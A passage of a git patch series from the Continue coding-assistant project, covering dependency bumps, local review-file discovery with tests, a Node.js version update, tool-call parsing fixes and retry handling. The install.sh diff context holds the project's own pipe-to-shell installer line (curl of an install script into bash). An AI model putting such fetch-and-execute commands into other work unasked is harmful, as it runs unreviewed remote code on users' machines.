timeout on error + if (timeoutId) { + clearTimeout(timeoutId); + } + + // Clear SIGKILL timeout to prevent delayed kill after rejection + if (sigkillTimeoutId) { + clearTimeout(sigkillTimeoutId); + } + // Clean up process tracking if (toolCallId) { removeRunningProcess(toolCallId); From 173810bab405bb1c6e3740e90207ffdc17d1065b Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 24 Mar 2026 11:08:31 -0700 Subject: [PATCH 34/66] chore(deps): bump gradle/actions from 5 to 6 (#11760) Bumps [gradle/actions](https://github.com/gradle/actions) from 5 to 6. - [Release notes](https://github.com/gradle/actions/releases) - [Commits](https://github.com/gradle/actions/compare/v5...v6) --- updated-dependencies: - dependency-name: gradle/actions dependency-version: '6' dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/jetbrains-release.yaml | 8 ++++---- .github/workflows/submit-github-dependency-graph.yml | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/workflows/jetbrains-release.yaml b/.github/workflows/jetbrains-release.yaml index c8724c375..495ae130d 100644 --- a/.github/workflows/jetbrains-release.yaml +++ b/.github/workflows/jetbrains-release.yaml @@ -116,7 +116,7 @@ jobs: # Validate wrapper - name: Gradle Wrapper Validation - uses: gradle/actions/wrapper-validation@v5 + uses: gradle/actions/wrapper-validation@v6 # # Set up Java environment for the next steps - name: Setup Java @@ -127,7 +127,7 @@ jobs: # # Setup Gradle - name: Setup Gradle - uses: gradle/actions/setup-gradle@v5 + uses: gradle/actions/setup-gradle@v6 with: gradle-home-cache-cleanup: true @@ -444,7 +444,7 @@ jobs: # Setup Gradle - name: Setup Gradle - uses: gradle/actions/setup-gradle@v5 + uses: gradle/actions/setup-gradle@v6 with: gradle-home-cache-cleanup: true @@ -522,7 +522,7 @@ jobs: # Setup Gradle - name: Setup Gradle - uses: gradle/actions/setup-gradle@v5 + uses: gradle/actions/setup-gradle@v6 with: gradle-home-cache-cleanup: true diff --git a/.github/workflows/submit-github-dependency-graph.yml b/.github/workflows/submit-github-dependency-graph.yml index b22cc730b..d1f28e611 100644 --- a/.github/workflows/submit-github-dependency-graph.yml +++ b/.github/workflows/submit-github-dependency-graph.yml @@ -21,7 +21,7 @@ jobs: distribution: "temurin" java-version: 17 - name: Generate and submit dependency graph - uses: gradle/actions/dependency-submission@v5 + uses: gradle/actions/dependency-submission@v6 with: # The gradle project is not in the root of the repository. build-root-directory: extensions/intellij From 641cca347b36fc1c009f4764fd12aa8226d2df25 Mon Sep 17 00:00:00 2001 From: Matt Van Horn Date: Tue, 24 Mar 2026 11:10:13 -0700 Subject: [PATCH 35/66] feat(cli): discover .continue/checks/ in cn review (#11697) * feat(cli): discover .continue/checks/ in cn review The README and quickstart docs tell users to create check files in .continue/checks/, but cn review only discovered files from .continue/agents/. This caused a broken onboarding path where users following the docs would get zero reviews when testing locally. resolveFromLocal() now reads from both .continue/agents/ and .continue/checks/, deduplicating by filename. Files in agents/ take precedence if the same filename exists in both directories. Co-Authored-By: Claude Opus 4.6 * fix(cli): correct readdirSync mock types in resolveReviews tests Cast mock implementations with `as typeof fs.readdirSync` instead of returning `as unknown as fs.Dirent[]`. The CI lint step runs `tsc --noEmit` which caught the type mismatch. Co-Authored-By: Claude Opus 4.6 --------- Co-authored-by: Matt Van Horn <455140+mvanhorn@users.noreply.github.com> Co-authored-by: Claude Opus 4.6 --- .../commands/review/resolveReviews.test.ts | 121 ++++++++++++++++++ .../cli/src/commands/review/resolveReviews.ts | 49 ++++--- 2 files changed, 154 insertions(+), 16 deletions(-) create mode 100644 extensions/cli/src/commands/review/resolveReviews.test.ts diff --git a/extensions/cli/src/commands/review/resolveReviews.test.ts b/extensions/cli/src/commands/review/resolveReviews.test.ts new file mode 100644 index 000000000..c8fa38a79 --- /dev/null +++ b/extensions/cli/src/commands/review/resolveReviews.test.ts @@ -0,0 +1,121 @@ +import * as fs from "fs"; +import * as path from "path"; + +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +import { resolveReviews } from "./resolveReviews.js"; + +vi.mock("../../auth/workos.js", () => ({ + loadAuthConfig: vi.fn(() => null), + getAccessToken: vi.fn(() => null), +})); + +vi.mock("../../env.js", () => ({ + env: { apiBase: "https://api.continue.dev" }, +})); + +vi.mock("../../util/logger.js", () => ({ + logger: { debug: vi.fn() }, +})); + +vi.mock("fs", async () => { + const actual = await vi.importActual("fs"); + return { + ...actual, + existsSync: vi.fn(), + readdirSync: vi.fn(), + }; +}); + +describe("resolveReviews local discovery", () => { + const originalCwd = process.cwd; + + beforeEach(() => { + process.cwd = () => "/test/repo"; + vi.mocked(fs.existsSync).mockReturnValue(false); + vi.mocked(fs.readdirSync).mockReturnValue([]); + }); + + afterEach(() => { + process.cwd = originalCwd; + vi.restoreAllMocks(); + }); + + it("discovers files from .continue/agents/", async () => { + vi.mocked(fs.existsSync).mockImplementation((p) => { + return p === path.join("/test/repo", ".continue", "agents"); + }); + vi.mocked(fs.readdirSync).mockImplementation(((p: fs.PathLike) => { + if (p === path.join("/test/repo", ".continue", "agents")) { + return ["security-review.md", "style-check.md"]; + } + return []; + }) as typeof fs.readdirSync); + + const reviews = await resolveReviews(); + expect(reviews).toHaveLength(2); + expect(reviews[0].name).toBe("security review"); + expect(reviews[0].sourceType).toBe("local"); + expect(reviews[0].source).toContain("agents"); + }); + + it("discovers files from .continue/checks/", async () => { + vi.mocked(fs.existsSync).mockImplementation((p) => { + return p === path.join("/test/repo", ".continue", "checks"); + }); + vi.mocked(fs.readdirSync).mockImplementation(((p: fs.PathLike) => { + if (p === path.join("/test/repo", ".continue", "checks")) { + return ["anti-slop.md"]; + } + return []; + }) as typeof fs.readdirSync); + + const reviews = await resolveReviews(); + expect(reviews).toHaveLength(1); + expect(reviews[0].name).toBe("anti slop"); + expect(reviews[0].source).toContain("checks"); + }); + + it("discovers files from both directories without duplicates", async () => { + vi.mocked(fs.existsSync).mockReturnValue(true); + vi.mocked(fs.readdirSync).mockImplementation(((p: fs.PathLike) => { + const dir = String(p); + if (dir.endsWith("agents")) { + return ["security-review.md", "shared.md"]; + } + if (dir.endsWith("checks")) { + return ["anti-slop.md", "shared.md"]; + } + return []; + }) as typeof fs.readdirSync); + + const reviews = await resolveReviews(); + // agents/security-review.md, agents/shared.md, checks/anti-slop.md + // checks/shared.md is skipped (duplicate filename, agents/ takes precedence) + expect(reviews).toHaveLength(3); + const names = reviews.map((r) => r.name); + expect(names).toContain("security review"); + expect(names).toContain("shared"); + expect(names).toContain("anti slop"); + + // The "shared" entry should come from agents/, not checks/ + const shared = reviews.find((r) => r.name === "shared"); + expect(shared?.source).toContain("agents"); + }); + + it("returns empty array when neither directory exists", async () => { + vi.mocked(fs.existsSync).mockReturnValue(false); + const reviews = await resolveReviews(); + expect(reviews).toHaveLength(0); + }); + + it("handles directory read errors gracefully", async () => { + vi.mocked(fs.existsSync).mockReturnValue(true); + vi.mocked(fs.readdirSync).mockImplementation(() => { + throw new Error("Permission denied"); + }); + + const reviews = await resolveReviews(); + expect(reviews).toHaveLength(0); + }); +}); diff --git a/extensions/cli/src/commands/review/resolveReviews.ts b/extensions/cli/src/commands/review/resolveReviews.ts index 1763b866d..32e595b34 100644 --- a/extensions/cli/src/commands/review/resolveReviews.ts +++ b/extensions/cli/src/commands/review/resolveReviews.ts @@ -19,7 +19,7 @@ export interface ResolvedReview { * Determine which reviews to run, using three sources in order: * 1. CLI --agent flags (highest priority) * 2. Hub API (if logged in and no --agent flags) - * 3. Local .continue/agents/*.md (fallback) + * 3. Local .continue/agents/*.md and .continue/checks/*.md (fallback) */ export async function resolveReviews( agentFlags?: string[], @@ -39,7 +39,7 @@ export async function resolveReviews( return hubReviews; } - // Source 3: Local .continue/agents/*.md + // Source 3: Local .continue/agents/*.md and .continue/checks/*.md const localReviews = resolveFromLocal(); if (localReviews.length > 0) { return localReviews; @@ -107,24 +107,41 @@ async function resolveFromHub(): Promise { } /** - * Resolve reviews from local .continue/agents/*.md files. + * Resolve reviews from local .continue/agents/*.md and .continue/checks/*.md files. + * Agents take precedence over checks if the same filename exists in both directories. */ function resolveFromLocal(): ResolvedReview[] { - const agentsDir = path.join(process.cwd(), ".continue", "agents"); - if (!fs.existsSync(agentsDir)) { - return []; + const cwd = process.cwd(); + const dirs = [ + path.join(cwd, ".continue", "agents"), + path.join(cwd, ".continue", "checks"), + ]; + + const seen = new Set(); + const results: ResolvedReview[] = []; + + for (const dir of dirs) { + if (!fs.existsSync(dir)) { + continue; + } + try { + const files = fs.readdirSync(dir).filter((f) => f.endsWith(".md")); + for (const file of files) { + if (!seen.has(file)) { + seen.add(file); + results.push({ + name: path.basename(file, ".md").replace(/[-_]/g, " "), + source: path.join(dir, file), + sourceType: "local" as const, + }); + } + } + } catch { + // Directory read failed, skip + } } - try { - const files = fs.readdirSync(agentsDir).filter((f) => f.endsWith(".md")); - return files.map((file) => ({ - name: path.basename(file, ".md").replace(/[-_]/g, " "), - source: path.join(agentsDir, file), - sourceType: "local" as const, - })); - } catch { - return []; - } + return results; } function isLocalPath(agent: string): boolean { From 594049eae203137155ec45d8a02c6cd7accfb35d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 24 Mar 2026 11:12:13 -0700 Subject: [PATCH 36/66] chore(deps-dev): bump flatted from 3.3.3 to 3.4.2 in /gui (#11769) Bumps [flatted](https://github.com/WebReflection/flatted) from 3.3.3 to 3.4.2. - [Commits](https://github.com/WebReflection/flatted/compare/v3.3.3...v3.4.2) --- updated-dependencies: - dependency-name: flatted dependency-version: 3.4.2 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- gui/package-lock.json | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/gui/package-lock.json b/gui/package-lock.json index 589ea4c27..bf2ec99a0 100644 --- a/gui/package-lock.json +++ b/gui/package-lock.json @@ -8303,10 +8303,11 @@ } }, "node_modules/flatted": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz", - "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==", - "dev": true + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz", + "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", + "dev": true, + "license": "ISC" }, "node_modules/for-each": { "version": "0.3.5", From 29a8a33b849c8e473d071ee176cc270cdf964ab4 Mon Sep 17 00:00:00 2001 From: ian <141902143+yumosx@users.noreply.github.com> Date: Wed, 25 Mar 2026 02:21:49 +0800 Subject: [PATCH 37/66] fix(registryClient): fix wrong location for the cli config file (#10812) fix(registryClient): handle relative file paths more robustly First attempt to resolve relative paths against current working directory before falling back to rootPath. This provides better flexibility when files are not located relative to rootPath. --- packages/config-yaml/src/registryClient.ts | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/packages/config-yaml/src/registryClient.ts b/packages/config-yaml/src/registryClient.ts index e889f76d7..afaddd2d9 100644 --- a/packages/config-yaml/src/registryClient.ts +++ b/packages/config-yaml/src/registryClient.ts @@ -48,9 +48,16 @@ export class RegistryClient implements Registry { return fs.readFileSync(new URL(filepath), "utf8"); } else if (path.isAbsolute(filepath)) { return fs.readFileSync(filepath, "utf8"); - } else if (this.rootPath) { - return fs.readFileSync(path.join(this.rootPath, filepath), "utf8"); } else { + // Try to resolve relative to current working directory first + const resolvedPath = path.resolve(filepath); + if (fs.existsSync(resolvedPath)) { + return fs.readFileSync(resolvedPath, "utf8"); + } + // Fall back to rootPath if file doesn't exist relative to cwd + if (this.rootPath) { + return fs.readFileSync(path.join(this.rootPath, filepath), "utf8"); + } throw new Error("No rootPath provided for relative file path"); } } From cbbe3ef11ae2390ecff0d053d68c18fb3bdad56b Mon Sep 17 00:00:00 2001 From: Peter Dave Hello <3691490+PeterDaveHello@users.noreply.github.com> Date: Wed, 25 Mar 2026 02:36:07 +0800 Subject: [PATCH 38/66] Update Node.js LTS to v20.20.1 (#11506) Node.js v20 entered Maintenance LTS six months ago. Update the version from v20.19.0 (released over a year ago) to v20.20.1, the latest LTS release this month. This ensures the project leverages recent Node.js improvements, including security updates, and stays on a supported LTS track. --- .node-version | 2 +- .nvmrc | 2 +- CONTRIBUTING.md | 2 +- binary/package-lock.json | 2 +- core/package-lock.json | 2 +- core/package.json | 2 +- core/vendor/package-lock.json | 2 +- core/vendor/package.json | 2 +- extensions/cli/package-lock.json | 2 +- extensions/cli/scripts/install.ps1 | 2 +- extensions/cli/scripts/install.sh | 2 +- extensions/intellij/CONTRIBUTING.md | 2 +- extensions/vscode/package-lock.json | 4 ++-- extensions/vscode/package.json | 2 +- gui/package-lock.json | 4 ++-- gui/package.json | 2 +- 16 files changed, 18 insertions(+), 18 deletions(-) diff --git a/.node-version b/.node-version index 829e9737e..f010c133a 100644 --- a/.node-version +++ b/.node-version @@ -1 +1 @@ -20.19.0 \ No newline at end of file +20.20.1 diff --git a/.nvmrc b/.nvmrc index 3bf34c276..018b52d01 100644 --- a/.nvmrc +++ b/.nvmrc @@ -1 +1 @@ -v20.19.0 \ No newline at end of file +v20.20.1 diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 1412ffc66..dae75a852 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -115,7 +115,7 @@ process as welcoming and straightforward as possible. #### Pre-requisites -You should have Node.js version 20.19.0 (LTS) or higher installed. You can get it +You should have Node.js version 20.20.1 (LTS) or higher installed. You can get it on [nodejs.org](https://nodejs.org/en/download) or, if you are using NVM (Node Version Manager), you can set the correct version of Node.js for this project by running the following command in the root of the project: diff --git a/binary/package-lock.json b/binary/package-lock.json index 051a35d39..b2c7b0b5f 100644 --- a/binary/package-lock.json +++ b/binary/package-lock.json @@ -165,7 +165,7 @@ "vitest": "^3.1.4" }, "engines": { - "node": ">=20.19.0" + "node": ">=20.20.1" } }, "../core/node_modules/@75lb/deep-merge": { diff --git a/core/package-lock.json b/core/package-lock.json index ddb4aacfb..4fac30298 100644 --- a/core/package-lock.json +++ b/core/package-lock.json @@ -126,7 +126,7 @@ "vitest": "^3.1.4" }, "engines": { - "node": ">=20.19.0" + "node": ">=20.20.1" } }, "../../../dallin/documents/code/continuedev/continue/packages/config-yaml": { diff --git a/core/package.json b/core/package.json index 030e675c4..cece72538 100644 --- a/core/package.json +++ b/core/package.json @@ -135,6 +135,6 @@ }, "engine-strict": true, "engines": { - "node": ">=20.19.0" + "node": ">=20.20.1" } } diff --git a/core/vendor/package-lock.json b/core/vendor/package-lock.json index d16a9798a..f364e335b 100644 --- a/core/vendor/package-lock.json +++ b/core/vendor/package-lock.json @@ -12,7 +12,7 @@ "@xenova/transformers": "^2.14.0" }, "engines": { - "node": ">=20.19.0" + "node": ">=20.20.1" } }, "node_modules/@huggingface/jinja": { diff --git a/core/vendor/package.json b/core/vendor/package.json index a31c4dfaa..768424ac7 100644 --- a/core/vendor/package.json +++ b/core/vendor/package.json @@ -13,6 +13,6 @@ }, "engine-strict": true, "engines": { - "node": ">=20.19.0" + "node": ">=20.20.1" } } diff --git a/extensions/cli/package-lock.json b/extensions/cli/package-lock.json index d444c7cd5..d50fbef3e 100644 --- a/extensions/cli/package-lock.json +++ b/extensions/cli/package-lock.json @@ -236,7 +236,7 @@ "vitest": "^3.1.4" }, "engines": { - "node": ">=20.19.0" + "node": ">=20.20.1" } }, "../../packages/config-yaml": { diff --git a/extensions/cli/scripts/install.ps1 b/extensions/cli/scripts/install.ps1 index 111c95cfe..05f1cbfff 100644 --- a/extensions/cli/scripts/install.ps1 +++ b/extensions/cli/scripts/install.ps1 @@ -20,7 +20,7 @@ param( $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' # Faster downloads -$script:RequiredNodeVersion = [version]"20.19.0" +$script:RequiredNodeVersion = [version]"20.20.1" $script:PackageName = "@continuedev/cli" $script:CliCommand = "cn" $script:FnmInstalled = $false diff --git a/extensions/cli/scripts/install.sh b/extensions/cli/scripts/install.sh index 61b2ab00e..c531d69e9 100644 --- a/extensions/cli/scripts/install.sh +++ b/extensions/cli/scripts/install.sh @@ -4,7 +4,7 @@ set -euo pipefail # Continue CLI Installer - Unix (macOS, Linux, WSL, Git Bash) # curl -fsSL https://continue.dev/install.sh | bash -REQUIRED_NODE_VERSION="20.19.0" +REQUIRED_NODE_VERSION="20.20.1" PACKAGE_NAME="@continuedev/cli" CLI_COMMAND="cn" NETWORK_TIMEOUT=60 diff --git a/extensions/intellij/CONTRIBUTING.md b/extensions/intellij/CONTRIBUTING.md index c9d05b502..c2e9c810f 100644 --- a/extensions/intellij/CONTRIBUTING.md +++ b/extensions/intellij/CONTRIBUTING.md @@ -61,7 +61,7 @@ notes below). ### Node.js Requirements -This project requires Node.js version 20.19.0 (LTS) or higher. You have two options for installation: +This project requires Node.js version 20.20.1 (LTS) or higher. You have two options for installation: 1. Download and install directly from [nodejs.org](https://nodejs.org/en/download). 2. If you're using NVM (Node Version Manager), set the correct Node.js version for this project by running `nvm use` in diff --git a/extensions/vscode/package-lock.json b/extensions/vscode/package-lock.json index ddabb2897..caf51b31c 100644 --- a/extensions/vscode/package-lock.json +++ b/extensions/vscode/package-lock.json @@ -90,7 +90,7 @@ "vscode-extension-tester": "^8.14.1" }, "engines": { - "node": ">=20.19.0", + "node": ">=20.20.1", "vscode": "^1.70.0" } }, @@ -216,7 +216,7 @@ "vitest": "^3.1.4" }, "engines": { - "node": ">=20.19.0" + "node": ">=20.20.1" } }, "../../packages/config-types": { diff --git a/extensions/vscode/package.json b/extensions/vscode/package.json index d055802c0..b496b7e0d 100644 --- a/extensions/vscode/package.json +++ b/extensions/vscode/package.json @@ -24,7 +24,7 @@ "publisher": "Continue", "engines": { "vscode": "^1.70.0", - "node": ">=20.19.0" + "node": ">=20.20.1" }, "engine-strict": true, "galleryBanner": { diff --git a/gui/package-lock.json b/gui/package-lock.json index bf2ec99a0..f77633b68 100644 --- a/gui/package-lock.json +++ b/gui/package-lock.json @@ -109,7 +109,7 @@ "vitest": "^2.1.3" }, "engines": { - "node": ">=20.19.0" + "node": ">=20.20.1" } }, "../core": { @@ -234,7 +234,7 @@ "vitest": "^3.1.4" }, "engines": { - "node": ">=20.19.0" + "node": ">=20.20.1" } }, "../packages/config-yaml": { diff --git a/gui/package.json b/gui/package.json index 1b508ebc7..bcf8765ea 100644 --- a/gui/package.json +++ b/gui/package.json @@ -119,6 +119,6 @@ }, "engine-strict": true, "engines": { - "node": ">=20.19.0" + "node": ">=20.20.1" } } From ffb6ea45f097c48fbef6261a1c0ee1ce3471e767 Mon Sep 17 00:00:00 2001 From: MumuTW <42820974+MumuTW@users.noreply.github.com> Date: Wed, 25 Mar 2026 03:56:43 +0900 Subject: [PATCH 39/66] Fix system-message tools parser when tool call is non-terminal (#11092) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(openai-adapters): map reasoning-delta to reasoning_content * Fix system-message tool parser for non-terminal tool calls * Fix duplicate predefined tools in dynamic system-message section * fix(openai-adapters): fix TS syntax error in vercelStreamConverter test The `as typeof X & Y` type assertion was ambiguous to the TypeScript parser without parentheses, causing TS1005 errors across all CI checks. Simplify to `as any` since this is a test assertion. Co-Authored-By: Claude Opus 4.6 * chore: remove unrelated vercelStreamConverter changes Per reviewer feedback — keeping this PR focused on the system-message tools parser fix. * fix: correct test expectations for post-tool-call content preservation The 'preserves content after a tool call' test incorrectly consumed the trailing newline and preserved text within the tool-call loop. Adjusted the loop count from 6 to 4 (actual tool-call deltas) and added explicit assertions for the trailing newline and preserved content chunks. The 'mid-message' test was missing an assertion for the newline chunk emitted between the closing codeblock fence and trailing text. --------- Co-authored-by: Claude Opus 4.6 Co-authored-by: MumuTW --- .../interceptSystemToolCalls.ts | 13 +-- .../interceptSystemToolCalls.vitest.ts | 100 ++++++++++++++++-- 2 files changed, 101 insertions(+), 12 deletions(-) diff --git a/core/tools/systemMessageTools/interceptSystemToolCalls.ts b/core/tools/systemMessageTools/interceptSystemToolCalls.ts index a89fbdcfb..bc5d8bee3 100644 --- a/core/tools/systemMessageTools/interceptSystemToolCalls.ts +++ b/core/tools/systemMessageTools/interceptSystemToolCalls.ts @@ -46,7 +46,7 @@ export async function* interceptSystemToolCalls( return result.value; } else { for await (const message of result.value) { - if (abortController.signal.aborted || parseState?.done) { + if (abortController.signal.aborted) { break; } // Skip non-assistant messages or messages with native tool calls @@ -96,12 +96,13 @@ export async function* interceptSystemToolCalls( }, ]; } - } else { - // Prevent content after tool calls for now - if (parseState) { - continue; + // Completed tool calls should not terminate parsing for subsequent + // chunks/messages; reset state so normal content (or another tool + // call) can be handled. + if (parseState.done) { + parseState = undefined; } - + } else { // Yield normal assistant message yield [ { diff --git a/core/tools/systemMessageTools/toolCodeblocks/interceptSystemToolCalls.vitest.ts b/core/tools/systemMessageTools/toolCodeblocks/interceptSystemToolCalls.vitest.ts index a636cc6a9..d86efca0f 100644 --- a/core/tools/systemMessageTools/toolCodeblocks/interceptSystemToolCalls.vitest.ts +++ b/core/tools/systemMessageTools/toolCodeblocks/interceptSystemToolCalls.vitest.ts @@ -242,7 +242,7 @@ describe("interceptSystemToolCalls", () => { ).toBe("}"); }); - it("ignores content after a tool call", async () => { + it("preserves content after a tool call", async () => { const messages: ChatMessage[][] = [ [{ role: "assistant", content: "```tool\n" }], [{ role: "assistant", content: "TOOL_NAME: test_tool\n" }], @@ -250,7 +250,7 @@ describe("interceptSystemToolCalls", () => { [{ role: "assistant", content: "value1\n" }], [{ role: "assistant", content: "END_ARG\n" }], [{ role: "assistant", content: "```\n" }], - [{ role: "assistant", content: "This content should be ignored" }], + [{ role: "assistant", content: "This content should be preserved" }], ]; const generator = interceptSystemToolCalls( @@ -260,14 +260,102 @@ describe("interceptSystemToolCalls", () => { ); let result; - // Process through all the tool call parts - for (let i = 0; i < 6; i++) { + // Process through all the tool call deltas (name, arg prefix, arg value, closing brace) + for (let i = 0; i < 4; i++) { result = await generator.next(); } - // The content after the tool call should be ignored + // The trailing newline from "```\n" is yielded as text after the tool call ends result = await generator.next(); - expect(result.value).toBeUndefined(); + expect(result.value).toEqual([ + { + role: "assistant", + content: [{ type: "text", text: "\n" }], + }, + ]); + + // The content after the tool call should be preserved + result = await generator.next(); + expect(result.value).toEqual([ + { + role: "assistant", + content: [{ type: "text", text: "This content should be preserved" }], + }, + ]); + }); + + it("parses a tool call that appears mid-message and preserves trailing content", async () => { + const messages: ChatMessage[][] = [ + [ + { + role: "assistant", + content: + "Before tool\n```tool\nTOOL_NAME: test_tool\nBEGIN_ARG: arg1\nvalue1\nEND_ARG\n```\nAfter tool", + }, + ], + ]; + + const generator = interceptSystemToolCalls( + createAsyncGenerator(messages), + abortController, + framework, + ); + + let result = await generator.next(); + expect(result.value).toEqual([ + { + role: "assistant", + content: [{ type: "text", text: "Before tool" }], + }, + ]); + + result = await generator.next(); + expect(result.value).toEqual([ + { + role: "assistant", + content: [{ type: "text", text: "\n" }], + }, + ]); + + result = await generator.next(); + expect( + (result.value as AssistantChatMessage[])[0].toolCalls?.[0].function?.name, + ).toBe("test_tool"); + + result = await generator.next(); + expect( + (result.value as AssistantChatMessage[])[0].toolCalls?.[0].function + ?.arguments, + ).toContain('{"arg1":'); + + result = await generator.next(); + expect( + (result.value as AssistantChatMessage[])[0].toolCalls?.[0].function + ?.arguments, + ).toBe('"value1"'); + + result = await generator.next(); + expect( + (result.value as AssistantChatMessage[])[0].toolCalls?.[0].function + ?.arguments, + ).toBe("}"); + + // The newline between the closing ``` and "After tool" is a separate chunk + result = await generator.next(); + expect(result.value).toEqual([ + { + role: "assistant", + content: [{ type: "text", text: "\n" }], + }, + ]); + + result = await generator.next(); + expect(result.value).toEqual([ + { + role: "assistant", + content: [{ type: "text", text: "After tool" }], + }, + ]); }); it("stops processing when aborted", async () => { From 93c437cb0b75d843c32637cb31d8397354a36aaf Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Tue, 24 Mar 2026 12:40:19 -0700 Subject: [PATCH 40/66] Improve error handling UX and move stream retry to BaseLLM (#11773) * Improve error handling UX and move stream retry to BaseLLM - Remove issue reporting buttons (GitHub/Discussions) from stream error dialog - Add error detection for invalid API keys, OpenAI org verification, insufficient balance (402), and failed secret templating - Update out-of-credits copy to match current messaging - Add sk- prefix validation for OpenAI/Anthropic keys in add model form - Update OpenRouter API key URL to workspaces/default/keys - Move overloaded/malformed JSON retry from GUI streamThunkWrapper to BaseLLM _retryableStream to avoid glitchy UI from GUI-level retries - Add overloaded/malformed JSON detection to core retry infrastructure * fix: simplify retry architecture and make sk- validation a warning - Remove _retryableStream from BaseLLM; overloaded/malformed JSON retry belongs in withExponentialBackoff at the HTTP fetch level - Revert defaultShouldRetry/calculateDelay exports (no longer needed externally) - Keep OpenRouter API key URL unchanged - Make sk- prefix validation a warning instead of blocking error * Fix stale comment referencing removed retry decorator * Improve 402 Insufficient Balance error message clarity * fix: improve copy - rename "View key" to "Check API key", use warning styles, simplify secret error message * fix: use ternary for className to avoid space stripping by prettier * style: fix prettier formatting in OutOfCreditsDialog --------- Co-authored-by: continue[bot] <230936708+continue[bot]@users.noreply.github.com> --- core/llm/llms/Bedrock.ts | 4 +- core/llm/utils/retry.test.ts | 32 +++++++ core/llm/utils/retry.ts | 9 ++ core/util/withExponentialBackoff.ts | 5 +- gui/src/forms/AddModelForm.tsx | 22 ++++- gui/src/pages/gui/OutOfCreditsDialog.tsx | 4 +- gui/src/pages/gui/StreamError.tsx | 89 ++++++++--------- gui/src/redux/thunks/streamThunkWrapper.tsx | 82 ++++++---------- gui/src/util/errorAnalysis.test.ts | 101 ++++++++++++++++++++ gui/src/util/errorAnalysis.ts | 49 ++++++++++ 10 files changed, 290 insertions(+), 107 deletions(-) diff --git a/core/llm/llms/Bedrock.ts b/core/llm/llms/Bedrock.ts index 7b338e9df..98ad4e6f3 100644 --- a/core/llm/llms/Bedrock.ts +++ b/core/llm/llms/Bedrock.ts @@ -25,7 +25,6 @@ import { parseDataUrl } from "../../util/url.js"; import { BaseLLM } from "../index.js"; import { PROVIDER_TOOL_SUPPORT } from "../toolSupport.js"; import { getSecureID } from "../utils/getSecureID.js"; -import { withLLMRetry } from "../utils/retry.js"; interface ModelConfig { formatPayload: (text: string) => any; @@ -82,7 +81,6 @@ class Bedrock extends BaseLLM { } } - @withLLMRetry() protected async *_streamChat( messages: ChatMessage[], signal: AbortSignal, @@ -238,7 +236,7 @@ class Bedrock extends BaseLLM { } } } catch (error: unknown) { - // Clean up state and let the original error bubble up to the retry decorator + // Clean up state and let the original error bubble up for retry handling throw error; } } diff --git a/core/llm/utils/retry.test.ts b/core/llm/utils/retry.test.ts index 4d3895983..2f7c3d1bb 100644 --- a/core/llm/utils/retry.test.ts +++ b/core/llm/utils/retry.test.ts @@ -173,6 +173,38 @@ describe("Retry Functionality", () => { expect(mockFn).toHaveBeenCalledTimes(2); }); + it("should retry on overloaded error", async () => { + const error = new Error("The server is overloaded, please try again"); + const mockFn = jest + .fn() + .mockRejectedValueOnce(error) + .mockResolvedValue("success"); + + const result = await retryAsync(mockFn, { + maxAttempts: 2, + baseDelay: 10, + }); + + expect(result).toBe("success"); + expect(mockFn).toHaveBeenCalledTimes(2); + }); + + it("should retry on malformed json error", async () => { + const error = new Error("Malformed JSON received from Bedrock: ..."); + const mockFn = jest + .fn() + .mockRejectedValueOnce(error) + .mockResolvedValue("success"); + + const result = await retryAsync(mockFn, { + maxAttempts: 2, + baseDelay: 10, + }); + + expect(result).toBe("success"); + expect(mockFn).toHaveBeenCalledTimes(2); + }); + it("should not retry AbortError", async () => { const error = new Error("Aborted"); error.name = "AbortError"; diff --git a/core/llm/utils/retry.ts b/core/llm/utils/retry.ts index ba502c354..6d1b94ce2 100644 --- a/core/llm/utils/retry.ts +++ b/core/llm/utils/retry.ts @@ -104,6 +104,15 @@ function defaultShouldRetry(error: any, attempt: number): boolean { return true; } + // Overloaded / malformed stream errors (e.g. Anthropic 529, interrupted SSE) + const lowerMessage = (error.message ?? "").toLowerCase(); + if ( + lowerMessage.includes("overloaded") || + lowerMessage.includes("malformed json") + ) { + return true; + } + // Abort signal errors should not be retried if (isAbortError(error)) { return false; diff --git a/core/util/withExponentialBackoff.ts b/core/util/withExponentialBackoff.ts index 0a2bc51d0..bb280911d 100644 --- a/core/util/withExponentialBackoff.ts +++ b/core/util/withExponentialBackoff.ts @@ -14,9 +14,12 @@ const withExponentialBackoff = async ( const result = await apiCall(); return result; } catch (error: any) { + const lowerMessage = (error.message ?? "").toLowerCase(); if ( (error as APIError).response?.status === 429 || - /"code"\s*:\s*429/.test(error.message ?? "") + /"code"\s*:\s*429/.test(error.message ?? "") || + lowerMessage.includes("overloaded") || + lowerMessage.includes("malformed json") ) { const retryAfter = (error as APIError).response?.headers.get( RETRY_AFTER_HEADER, diff --git a/gui/src/forms/AddModelForm.tsx b/gui/src/forms/AddModelForm.tsx index ae28cd074..627d13e10 100644 --- a/gui/src/forms/AddModelForm.tsx +++ b/gui/src/forms/AddModelForm.tsx @@ -94,6 +94,19 @@ export function AddModelForm({ setSelectedModel(selectedProvider.packages[0]); }, [selectedProvider]); + const 